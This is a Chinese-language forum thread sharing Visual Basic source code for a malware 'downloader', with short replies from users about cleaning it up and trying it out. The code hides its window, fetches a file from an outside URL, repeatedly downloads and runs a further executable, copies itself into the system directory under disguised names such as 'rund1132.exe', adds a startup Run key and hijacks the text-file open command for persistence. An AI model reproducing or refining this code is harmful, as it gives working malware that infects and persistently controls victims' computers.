VB下载者源码
VB下载者源码---------------------------------------------------
[b]Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
'延迟1秒
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Const Key_Run = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Const HKEY_LOCAL_MACHINE = &H80000002
Const REG_SZ = 1 ' Unicode nul terminated string
Dim LhKey As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Sys As String '系统目录
Private US As String '自己
Private Tmp As String '临时文件夹
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long[/b]
[b]Private Sub Form_Load()[/b]
[b]On Error Resume Next
Dim RegEdit As Object, Apppath As String
Dim Cp As String
Dim Ret As Long
Dim sCurrentPath As String, sSystemDir As String[/b]
[b]sCurrentPath = App.Path & "\" & App.EXEName & ".exe"[/b]
[b]Form1.Visible = False
Sys = String(255, 0)
Ret = GetSystemDirectory(Sys, 255)
Sys = Left(Sys, Ret) '获得系统目录[/b]
[b]US = String(1024, 0) '获得自己的完整路径
Ret = GetModuleFileName(0, US, 1024)
US = Left(US, InStr(US, Chr(0)) - 1)
Tmp = Temp '获得完整临时目录
If Dir(Sys & "\" & "MSWINSCK.OCX") = "" Then
Ret = URLDownloadToFile(0, "[/b][url=http://www.ie999.org/down/downadd.asp?dd=dll/Mswinsck.zip&dd1=1][b]http://www.ie999.org/down/downadd.asp?dd=dll/Mswinsck.zip&dd1=1[/b][/url][b]", Sys & "\MSWINSCK.OCX", 0, 0)
End If
Cp = Sys & "\system.exe" '你在 Google 输入 inetdbs.exe 就可以找得到该病毒的介绍了
Ret = RegCreateKey(HKEY_LOCAL_MACHINE, Key_Run, LhKey) '写入注册表,以便开机重启
Ret = RegSetValueEx(LhKey, "server", 0&, REG_SZ, ByVal Cp, Len(Cp) + 1)
Ret = RegCloseKey(LhKey)
If InStr(UCase(US), "INETDBS") = 0 Then
End If
Apppath = IIf(Right(App.Path, 1) = "\", Left(App.Path, Len(App.Path) - 1), App.Path)
'取得当前路径，如果是在根目录下就要去掉一个“\"
Set RegEdit = CreateObject("WScript.Shell")
RegEdit.regwrite "HKEY_CLASSES_ROOT\txtfile\shell\open\command\", Sys & "\" & "rund1132" & ".exe %1"
On Error Resume Next
Dim cmd As String
cmd = Command()
If cmd <> "" Then[/b]
[b] Shell "NOTEPAD.EXE " & cmd, vbNormalFocus
End If
On Error Resume Next[/b]
[b]FileCopy sCurrentPath, Sys & "\System.exe"
On Error Resume Next[/b]
[b]FileCopy sCurrentPath, Sys & "\" & "\rund1132.exe"
SetAttr Sys & "\" & "\rund1132.exe", 7[/b]
[b]'判断程序是否下在运行
If App.PrevInstance Then[/b]
[b]End
End If
Kill Sys & "\systrsy.exe"
Do While Dir(Sys & "\" & "systrsy.exe") = ""
Ret = URLDownloadToFile(0, "url", Sys & "\systrsy.exe", 0, 0)
Call Sleep(100000)
Loop
Shell Sys & "\" & "systrsy" & ".exe", vbNormalFocus
End Sub[/b] URLDOWNLAODTOFILE没用
而且也不需要延迟 因为是原来自己蛮写的一份··
有点乱希望牛人整理thanks
多有瑕疵，包涵 ::16:: 谢了。。。我去看看写出来的好用不。。。 先下来看看 ::04:: ::04:: ::04:: 我看得好累，我写的很简单，没有这么多~呵呵！
页:
[1]